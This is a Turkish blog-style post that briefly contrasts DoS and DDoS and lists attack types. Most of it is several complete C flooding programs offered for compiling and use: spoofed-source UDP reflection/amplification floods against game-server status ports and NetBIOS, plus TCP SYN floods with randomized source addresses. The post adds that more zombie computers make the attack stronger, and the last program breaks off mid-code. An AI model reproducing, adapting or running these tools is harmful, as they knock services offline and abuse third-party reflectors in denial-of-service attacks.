Merhaba DDoS Attack hakkında daha önce birazda olsa değinmiştim.
DoS ve DDoS Saldırıları arasındaki fark
DoS saldırısı, genellikle, hedeflenen bir sistemi veya kaynağın taşması için bir bilgisayar ve bir İnternet bağlantısı kullanır. DDoS saldırısı, hedeflenen kaynağın taşması için birden fazla bilgisayar ve İnternet bağlantısı kullanıyor. DDoS saldırıları genellikle botnet’ler vasıtasıyla dağıtılan küresel saldırılardır.
DDoS saldırısında, mağdura giden trafik birçok farklı kaynaktan oluşur – yüz binlerce veya daha fazla olabilir. Bu, saldırıyı tek bir IP adresini engelleyerek durdurmayı imkansız kılar; Ayrıca, meşru kullanıcı trafiğini saldırı trafiğinden ayırt etmek o kadar çok kaynak noktasına yayılırken çok zordur.
DDoS Saldırı Türleri
Birçok DDoS saldırısı türleri vardır. Yaygın saldırılar şunları içerir:
Traffic Attacks : Trafik flood saldırıları, hedefe büyük miktarda TCP, UDP ve ICPM paket gönderir. Meşru kullanıcı talepleri kaybolur ve bu saldırılara kötü amaçlı yazılım kullanımının eşlik etmesi mümkündür.
Bandwidth Attacks : Bu DDos saldırısı, hedefi büyük miktarlarda önemsiz verilerle aşırı yükler. Bu, ağ bant genişliği ve ekipman kaynakları kaybına neden olur ve hizmetin tamamen reddedilmesine neden olabilir.
Application Attacks : Uygulama katmanı veri iletileri, hedefin sistem hizmetlerini kullanılamaz halde bırakarak, uygulama katmanındaki kaynakları tüketebilir.
Aşağıdaki kodların hepsi ayrı programdır. Derleyip kullanabilirsiniz.
Ne kadar çok zombi bilgisayar olursa saldırı o kadar etkili olur.
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#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data { int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(9987); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 14); udph->len = htons(sizeof(struct udphdr) + 14); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> " "<pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *)malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if (head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr = inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr = inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].sin = sin; td[i].list_node = current; pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting flood...\n"); for (i = 0; i < (atoi(argv[6]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
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#include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <pthread.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netdb.h> #include <net/if.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; static unsigned int floodport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int count) { register unsigned long sum = 0; while (count > 1) { sum += *buf++; count -= 2; } if (count > 0) { sum += *(unsigned char *)buf; } while (sum >> 16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr = iph->saddr; pseudohead.dst_addr = iph->daddr; pseudohead.zero = 0; pseudohead.proto = IPPROTO_TCP; pseudohead.length = htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp, &pseudohead, sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp + sizeof(struct tcp_pseudo), (unsigned char *)tcph, sizeof(struct tcphdr)); unsigned short output = csum(tcp, totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(5678); tcph->seq = rand(); tcph->ack_seq = 1; tcph->res2 = 3; tcph->doff = 5; tcph->syn = 1; tcph->ack = 1; tcph->window = htons(65535); tcph->check = 1; tcph->urg_ptr = 1; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(rand() % 2048); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "derped.\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(rand() % 2048); iph->daddr = sin.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Unable to allocate.\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 5) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 " "for no limit> <time>\n", argv[0]); exit(-1); } fprintf(stdout, "Setting up Sockets...\n"); int num_threads = atoi(argv[2]); int maxpps = atoi(argv[3]); limiter = 0; pps = 0; pthread_t thread[num_threads]; int multiplier = 20; int i; for (i = 0; i < num_threads; i++) { pthread_create(&thread[i], NULL, &flood, (void *)argv[1]); } fprintf(stdout, "Starting Flood...\n"); for (i = 0; i < (atoi(argv[4]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
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#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data { int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(7778); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\x5c\x73\x74\x61\x74\x75\x73\x5c", 8); udph->len = htons(sizeof(struct udphdr) + 8); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> " "<pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *)malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if (head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr = inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr = inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].sin = sin; td[i].list_node = current; pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting flood...\n"); for (i = 0; i < (atoi(argv[6]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
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#include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <time.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int count) { register unsigned long sum = 0; while( count > 1 ) { sum += *buf++; count -= 2; } if(count > 0) { sum += *(unsigned char *)buf; } while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr=iph->saddr; pseudohead.dst_addr=iph->daddr; pseudohead.zero=0; pseudohead.proto=IPPROTO_TCP; pseudohead.length=htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); unsigned short output = csum(tcp,totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { char ip[17]; snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255); iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(rand()%54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr(ip); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(rand()%65535); tcph->seq = rand(); tcph->ack_seq = 0; tcph->res1 = 0; tcph->res2 = 0; tcph->doff = 5; tcph->psh = 0; tcph->syn = 1; tcph->window = htons(65535); tcph->check = 0; tcph->urg_ptr = 0; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(rand()%54321); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(rand()%54321); iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; int psh = 0; int res1 = 0; int res2 = 0; while(1) { if(psh > 1) psh = 1; if(res1 > 4) res1 = 0; if(res2 > 3) res2 = 0; sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); setup_ip_header(iph); setup_tcp_header(tcph); iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); tcph->dest = htons(rand()%65535); iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->ack_seq = 1; tcph->psh = psh; tcph->res1 = res1; tcph->res2 = res2; tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; psh++; res1++; res2++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 5){ fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(0)); int num_threads = atoi(argv[2]); int maxpps = atoi(argv[3]); limiter = 0; pps = 0; pthread_t thread[num_threads]; int multiplier = 20; int i; fprintf(stderr, "Start flooding ...\n", argv[1]); for(i = 0;i<num_threads;i++){ pthread_create( &thread[i], NULL, &flood, (void *)argv[1]); } fprintf(stderr, "Flooding: %s\n", argv[1]); for(i = 0;i<(atoi(argv[4])*multiplier);i++) { usleep((1000/multiplier)*1000); if((pps*multiplier) > maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
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#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data { int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 50; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(137); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\xe5\xd8\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01", 50); udph->len = htons(sizeof(struct udphdr) + 50); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> " "<pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *)malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if (head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr = inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr = inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].sin = sin; td[i].list_node = current; pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting flood...\n"); for (i = 0; i < (atoi(argv[6]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
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#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(27960); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 14); udph->len=htons(sizeof(struct udphdr) + 14); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, 